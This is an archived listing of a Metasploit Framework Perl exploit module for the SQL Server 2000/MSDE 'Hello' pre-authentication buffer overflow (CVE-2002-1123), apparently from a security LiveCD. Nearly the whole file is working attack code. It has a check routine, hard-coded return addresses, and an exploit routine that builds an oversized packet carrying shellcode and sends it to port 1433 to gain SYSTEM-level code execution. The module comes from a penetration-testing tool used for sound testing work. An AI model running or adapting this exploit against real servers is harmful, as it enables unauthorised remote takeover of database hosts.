home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / mssql2000_preauthentication.pm < prev    next >
Text File  |  2006-06-30  |  3KB  |  122 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::mssql2000_preauthentication;
  11. use base "Msf::Exploit";
  12. use strict;
  13. use Pex::Text;
  14.  
  15. my $advanced = { };
  16. my $info =
  17.   {
  18.     'Name'    => 'MSSQL 2000/MSDE Hello Buffer Overflow',
  19.     'Version' => '$Revision: 1.6 $',
  20.     'Authors' => [ 'y0 [at] w00t-shell.net', ],
  21.  
  22.     'Arch'  => [ 'x86' ],
  23.     'OS'    => [ 'win32', 'win2000' ],
  24.     'Priv'  => 1,
  25.  
  26.     'AutoOpts' => { 'EXITFUNC' => 'seh' },
  27.     'UserOpts'  =>
  28.       {
  29.         'RHOST' => [1, 'ADDR', 'The target address'],
  30.         'RPORT' => [1, 'PORT', 'The target port', 1433],
  31.       },
  32.  
  33.     'Payload'  =>
  34.       {
  35.         'Space'  => 512,
  36.         'BadChars'  => "\x00",
  37.       },
  38.  
  39.     'Description'  => Pex::Text::Freeform(qq{
  40.         By sending malformed data to TCP port 1433, an unauthenticated 
  41.         remote attacker could overflow a buffer and possibly execute code 
  42.         on the server with SYSTEM level privileges. This module should 
  43.         work against any vulnerable SQL Server 2000 or MSDE install (< SP3).
  44. }),
  45.  
  46.     'Refs'  =>
  47.       [
  48.         ['OSVDB', '10132'],
  49.         ['CVE',   '2002-1123'],
  50.         ['URL',   'http://www.immunitysec.com/#Werd+to+Dave+Aitel'],
  51.         ['MIL',   '43'],
  52.       ],
  53.  
  54.     'DefaultTarget' => 0,
  55.     'Targets' => [['Microsoft SQL Server 2000 / MSDE 2000 ',   0x42b68aba, 0x42d01e50]],
  56.  
  57.     'Keys'  => ['mssql'],
  58.  
  59.     'DisclosureDate' => 'Aug 5 2002',
  60.   };
  61.  
  62. sub new {
  63.     my $class = shift;
  64.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  65.     return($self);
  66. }
  67.  
  68. sub Check {
  69.     my $self = shift;
  70.     my %r = Pex::MSSQL::Ping($self->GetVar('RHOST'), $self->GetVar('RPORT'));
  71.  
  72.     if (! keys(%r)) {
  73.         $self->PrintLine("[*] No response recieved from SQL server");
  74.         return $self->CheckCode('Safe');
  75.     }
  76.  
  77.     $self->PrintLine("SQL Server '". $r{'ServerName'} ."' on port ". $r{'tcp'});
  78.     return $self->CheckCode('Detected');
  79. }
  80.  
  81. sub Exploit {
  82.     my $self = shift;
  83.     my $target_host = $self->GetVar('RHOST');
  84.     my $target_port = $self->GetVar('RPORT');
  85.     my $target_idx  = $self->GetVar('TARGET');
  86.     my $shellcode   =$self->GetVar('EncodedPayload')->Payload;
  87.  
  88.     my $target = $self->Targets->[$target_idx];
  89.  
  90.     $self->PrintLine(sprintf("[*] Saying hello to %s (0x%.8x / 0x%.8x)", $target->[0], $target->[1], $target->[2]));
  91.  
  92.     my $request = "\x12\x01\x00\x34\x00\x00\x00\x00\x00\x00\x15\x00\x06\x01\x00\x1b".
  93.       "\x00\x01\x02\x00\x1c\x00\x0c\x03\x00\x28\x00\x04\xff\x08\x00\x02".
  94.       "\x10\x00\x00\x00" .
  95.       ("M" x 528) . "\x1B\xA5\xEE\x34" . "CCCC" .
  96.       pack('V', $target->[1]).
  97.       pack('V', $target->[2]).
  98.       pack('V', $target->[2]).
  99.       "3333".
  100.       pack('V', $target->[2]).
  101.       pack('V', $target->[2]).
  102.       ("\x41" x 88) . $shellcode .
  103.       "\x00\x24\x01\x00\x00";
  104.  
  105.     my $s = Msf::Socket::Tcp->new
  106.       (
  107.         'PeerAddr'  => $target_host,
  108.         'PeerPort'  => $target_port,
  109.         'LocalPort' => $self->GetVar('CPORT'),
  110.       );
  111.     if ($s->IsError) {
  112.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  113.         return;
  114.     }
  115.  
  116.     $s->Send($request);
  117.  
  118.     sleep(1);
  119.     return;
  120. }
  121.  
  122.